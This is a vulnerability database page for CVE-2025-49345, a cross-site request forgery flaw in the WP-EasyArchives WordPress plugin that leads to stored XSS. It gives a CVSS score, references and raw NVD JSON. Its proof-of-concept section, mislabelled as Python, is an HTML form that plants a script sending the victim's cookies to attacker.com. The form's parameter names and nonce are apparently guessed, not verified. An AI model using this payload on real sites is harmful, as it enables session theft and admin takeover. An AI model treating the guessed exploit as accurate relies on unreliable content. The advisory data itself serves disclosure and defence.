CVE-2025-49345

Description

Cross-Site Request Forgery (CSRF) vulnerability in mg12 WP-EasyArchives wp-easyarchives allows Stored XSS.This issue affects WP-EasyArchives: from n/a through <= 3.1.2.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP-EasyArchives <= 3.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-49345: WP-EasyArchives Stored XSS via CSRF -->
<!-- This PoC demonstrates how an attacker can inject malicious JavaScript -->
<!-- through CSRF by tricking an admin into visiting this page -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-49345</title>
</head>
<body>
    <h1>CSRF PoC for WP-EasyArchives <= 3.1.2</h1>
    <p>Click the button below to trigger the attack (for educational purposes only)</p>
    
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrfForm">
        <!-- Plugin-specific parameters - adjust based on target -->
        <input type="hidden" name="action" value="wp-easyarchives-save">
        <input type="hidden" name="option_page" value="wp-easyarchives">
        
        <!-- Stored XSS payload in plugin settings -->
        <input type="hidden" name="wp_easyarchives_title" value="<script>alert('XSS by CSRF');document.location='https://attacker.com/steal?cookie='+document.cookie;</script>">
        
        <!-- CSRF token (if required by plugin) -->
        <input type="hidden" name="_wpnonce" value="attacker-controlled-or-empty">
        
        <!-- WordPress _wp_http_referer -->
        <input type="hidden" name="_wp_http_referer" value="/wp-admin/options-general.php?page=wp-easyarchives">
    </form>
    
    <button type="submit" onclick="this.disabled=true;this.textContent='Attack Triggered';document.getElementById('csrfForm').submit();">
        Execute CSRF Attack
    </button>
    
    <script>
        // Auto-submit on page load (commented out for safety)
        // document.getElementById('csrfForm').submit();
        
        console.log('CSRF PoC loaded - CVE-2025-49345');
        console.log('Target: WP-EasyArchives plugin <= 3.1.2');
        console.log('Vulnerability: CSRF leading to Stored XSS');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49345
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49345
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49345/
[4] VulDB https://vuldb.com/cve/CVE-2025-49345
[5] https://patchstack.com/database/Wordpress/Plugin/wp-easyarchives/vulnerability/wordpress-wp-easyarchives-plugin-3-1-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49345", "sourceIdentifier": "[email protected]", "published": "2025-12-31T06:15:40.957", "lastModified": "2026-04-23T15:31:30.413", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in mg12 WP-EasyArchives wp-easyarchives allows Stored XSS.This issue affects WP-EasyArchives: from n/a through <= 3.1.2."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en mg12 WP-EasyArchives permite XSS Almacenado. Este problema afecta a WP-EasyArchives: desde n/d hasta 3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-easyarchives/vulnerability/wordpress-wp-easyarchives-plugin-3-1-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}